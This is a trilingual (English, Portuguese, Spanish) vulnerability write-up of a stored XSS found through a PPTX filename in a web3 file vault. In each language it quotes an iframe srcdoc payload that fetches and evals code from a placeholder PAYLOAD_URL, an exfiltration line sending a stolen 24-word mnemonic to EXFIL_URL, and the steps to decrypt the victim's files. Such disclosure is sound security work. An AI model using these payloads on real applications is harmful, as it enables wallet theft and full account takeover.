tl;dr

found a stored xss on a web3 app through the filename of a pptx upload. ended up walking the React fiber tree in memory, grabbed the victim's 24-word mnemonic, and from there it was game over. full vault access, decrypted all their files.

what was this thing

so the app was basically a web3 file vault. you upload files, they get encrypted client-side with keys derived from your hd wallet. React SPA, serverless backend, the whole deal. the important bit: the mnemonic only existed in memory. never touched disk, never hit an api. just sitting there in React state.

that detail matters later.

getting in

started by going through the minified js bundle (fun times). with some help from AI to speed up the analysis, found a component that renders pptx files, basically a built-in document viewer. and yeah, it was using dangerouslySetInnerHTML. classic.

traced the flow back and noticed the filename gets shoved into a template literal before it even reaches the sanitizer. so the filename is basically treated as trusted content. spoiler: it shouldn't be.

bypassing the sanitizer

they had a regex-based sanitizer running on the rendered output, but the injection point was the filename, which got processed before the sanitizer could do anything useful.

the bypass was pretty simple honestly. shove an <iframe srcdoc> with html-encoded entities into the filename:

<iframe srcdoc="&lt;script&gt;fetch(PAYLOAD_URL).then(r=>r.text()).then(eval)&lt;/script&gt;">

sanitizer sees encoded stuff, thinks it's fine, lets it through. browser renders the srcdoc, decodes everything, and boom. script execution. and since the actual payload gets fetched from an external url, the filename length doesn't matter at all.

the fun part: stealing from React's brain

ok so now i have js execution. cool. but where's the mnemonic? not in localstorage. not in cookies. not in any api response i could intercept. it literally only exists inside React's internal state. in ram.

ended up building a payload (with AI helping on the fiber traversal logic) that walks the React fiber tree, the internal data structure React uses to keep track of component state. basically crawling through every component's state looking for something that looks like a bip39 mnemonic. filter for valid words and you find it.

24 words. the whole wallet. exfil was dead simple:

new Image().src = EXFIL_URL + "?m=" + encodeURIComponent(mnemonic);

going all the way

with the mnemonic in hand the rest was just following the app's own logic:

1. derive the private key (same pbkdf2 params: 200k iterations, sha-256, username as salt)
2. sign an eip-191 message to auth against the api
3. list every file in the victim's vault
4. download + decrypt everything with the derived aes-gcm keys

impact

victim opens a shared pptx. that's it. no extra clicks, no weird prompts, nothing. just open the file and the attacker gets:

• your full 24-word mnemonic
• can derive all your keys, sign whatever
• download and decrypt every file you have
• complete account takeover

what i think about this

some stuff that stuck with me after this one:

• dangerouslySetInnerHTML keeps earning its name
• people forget filenames are user input too
• "it's only in memory so it's safe"... no it's not, xss can read react state
• fiber tree traversal is actually a legit post-xss technique, not just a ctf trick
• iframe srcdoc + encoded entities is a nice way past regex sanitizers

resumão

achei um stored xss num app web3 pelo nome do arquivo de um upload pptx. com isso consegui andar pela fiber tree do React na memória, peguei a mnemônica de 24 palavras da vítima, e dali foi ladeira abaixo. acesso total ao cofre, decriptei todos os arquivos.

o que era o app

basicamente um cofre de arquivos web3. tu sobe arquivo, ele criptografa client-side com chaves derivadas da tua hd wallet. SPA React, backend serverless, o combo de sempre. o detalhe importante: a mnemônica só existia em memória. nunca ia pro disco, nunca passava por api nenhuma. ficava ali no state do React.

guarda essa info.

achando a entrada

comecei analisando o bundle js minificado (divertidíssimo). com uma ajuda de IA pra acelerar a análise, achei um componente que renderiza arquivos pptx, tipo um visualizador embutido. e sim, ele usava dangerouslySetInnerHTML. clássico.

tracei o fluxo de volta e vi que o nome do arquivo era jogado direto num template literal antes de chegar no sanitizador. ou seja, o filename era tratado como conteúdo confiável. spoiler: não deveria.

passando pelo sanitizador

eles tinham um sanitizador baseado em regex rodando no output renderizado, mas o ponto de injeção era o filename, que passava antes do sanitizador fazer qualquer coisa útil.

o bypass foi até simples. mete um <iframe srcdoc> com entidades html encoded no nome do arquivo:

<iframe srcdoc="&lt;script&gt;fetch(PAYLOAD_URL).then(r=>r.text()).then(eval)&lt;/script&gt;">

sanitizador vê tudo encoded, acha que tá safe, deixa passar. browser renderiza o srcdoc, decodifica tudo, e pronto. execução de script. e como o payload real vem de uma url externa, o tamanho do filename nem importa.

a parte boa: roubando do cérebro do React

beleza, tenho execução de js. massa. mas cadê a mnemônica? não tá no localstorage. não tá nos cookies. não tá em resposta de api nenhuma. ela literalmente só existe dentro do state interno do React. na ram.

acabei montando um payload (com IA ajudando na lógica do fiber traversal) que anda pela fiber tree do React, a estrutura de dados interna que o React usa pra rastrear o state de cada componente. basicamente vasculhando o state de tudo procurando algo que pareça uma mnemônica bip39. filtra pelas palavras válidas e eventualmente acha.

24 palavras. a wallet inteira. exfiltrar foi a parte mais fácil:

new Image().src = EXFIL_URL + "?m=" + encodeURIComponent(mnemonic);

indo até o fim

com a mnemônica em mãos o resto foi só seguir a lógica do próprio app:

1. derivar a chave privada (mesmos params pbkdf2: 200k iterações, sha-256, username como salt)
2. assinar uma msg eip-191 pra autenticar na api
3. listar todos os arquivos do cofre da vítima
4. baixar + decriptar tudo com as chaves aes-gcm derivadas

impacto

vítima abre um pptx compartilhado. só isso. sem clique extra, sem prompt estranho, nada. abre o arquivo e o atacante ganha:

• tua mnemônica completa de 24 palavras
• pode derivar todas as chaves, assinar o que quiser
• baixar e decriptar todo arquivo do cofre
• account takeover completo

o que ficou na cabeça

umas coisas que eu levo desse teste:

• dangerouslySetInnerHTML continua fazendo jus ao nome
• galera esquece que nome de arquivo também é input de usuário
• "tá só em memória então tá seguro"... não tá, xss lê state do React
• fiber tree traversal é técnica real pós-xss, não é só coisa de ctf
• iframe srcdoc + entidades encoded passa fácil por sanitizador regex

resumen

encontré un stored xss en una app web3 por el nombre de archivo de un upload pptx. con eso pude recorrer el fiber tree de React en memoria, agarré la mnemónica de 24 palabras de la víctima, y de ahí fue todo cuesta abajo. acceso total a la bóveda, descifré todos los archivos.

qué era la app

básicamente una bóveda de archivos web3. subís archivos, se cifran client-side con claves derivadas de tu hd wallet. SPA React, backend serverless, lo típico. el detalle importante: la mnemónica solo existía en memoria. nunca tocaba disco, nunca pasaba por ninguna api. ahí sentada en el state de React.

acordate de eso.

encontrando la entrada

empecé analizando el bundle js minificado (re divertido). con algo de ayuda de IA para acelerar el análisis, encontré un componente que renderiza archivos pptx, como un visualizador integrado. y sí, usaba dangerouslySetInnerHTML. clásico.

tracé el flujo para atrás y vi que el nombre del archivo se metía directo en un template literal antes de llegar al sanitizador. o sea, el filename se trataba como contenido confiable. spoiler: no debería.

pasando el sanitizador

tenían un sanitizador basado en regex corriendo sobre el output renderizado, pero el punto de inyección era el filename, que se procesaba antes de que el sanitizador pudiera hacer algo útil.

el bypass fue bastante simple la verdad. metés un <iframe srcdoc> con entidades html encoded en el nombre del archivo:

<iframe srcdoc="&lt;script&gt;fetch(PAYLOAD_URL).then(r=>r.text()).then(eval)&lt;/script&gt;">

el sanitizador ve todo encoded, piensa que está bien, lo deja pasar. el browser renderiza el srcdoc, decodifica todo, y listo. ejecución de script. y como el payload real viene de una url externa, el largo del filename ni importa.

la parte buena: robando del cerebro de React

ok, tengo ejecución de js. bien. pero dónde está la mnemónica? no está en localstorage. no está en cookies. no está en ninguna respuesta de api. literalmente solo existe dentro del state interno de React. en ram.

terminé armando un payload (con IA ayudando en la lógica del fiber traversal) que recorre el fiber tree de React, la estructura de datos interna que React usa para trackear el state de cada componente. básicamente revisando el state de todo buscando algo que parezca una mnemónica bip39. filtrás por palabras válidas y eventualmente la encontrás.

24 palabras. la wallet entera. exfiltrar fue lo más fácil:

new Image().src = EXFIL_URL + "?m=" + encodeURIComponent(mnemonic);

yendo hasta el final

con la mnemónica en mano el resto fue seguir la lógica de la propia app:

1. derivar la clave privada (mismos params pbkdf2: 200k iteraciones, sha-256, username como salt)
2. firmar un msg eip-191 para autenticar contra la api
3. listar todos los archivos de la bóveda de la víctima
4. descargar + descifrar todo con las claves aes-gcm derivadas

impacto

la víctima abre un pptx compartido. eso es todo. sin clic extra, sin prompt raro, nada. abrís el archivo y el atacante obtiene:

• tu mnemónica completa de 24 palabras
• puede derivar todas las claves, firmar lo que quiera
• descargar y descifrar todo archivo de la bóveda
• account takeover completo

lo que me quedó

algunas cosas que me llevo de este test:

• dangerouslySetInnerHTML sigue haciendo honor a su nombre
• la gente se olvida que el nombre de archivo también es input de usuario
• "está solo en memoria así que está seguro"... no, no lo está, xss lee el state de React
• fiber tree traversal es una técnica real post-xss, no es solo cosa de ctf
• iframe srcdoc + entidades encoded pasa fácil por sanitizadores regex